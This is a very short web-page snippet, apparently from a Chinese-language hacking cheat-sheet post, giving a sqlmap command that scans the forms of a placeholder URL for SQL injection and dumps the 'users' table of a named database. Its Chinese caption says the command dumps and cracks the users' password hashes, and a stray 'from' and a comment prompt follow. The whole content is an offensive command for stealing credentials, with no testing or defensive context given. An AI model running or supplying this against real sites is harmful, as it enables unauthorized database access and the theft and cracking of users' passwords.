sqlmap -o -u "http://meh/vuln-form" --forms
-D database-name -T users --dump
sqlmap 转储和破解数据库名称上表用户的哈希值。

from

Leave a Reply

您的电子邮箱地址不会被公开。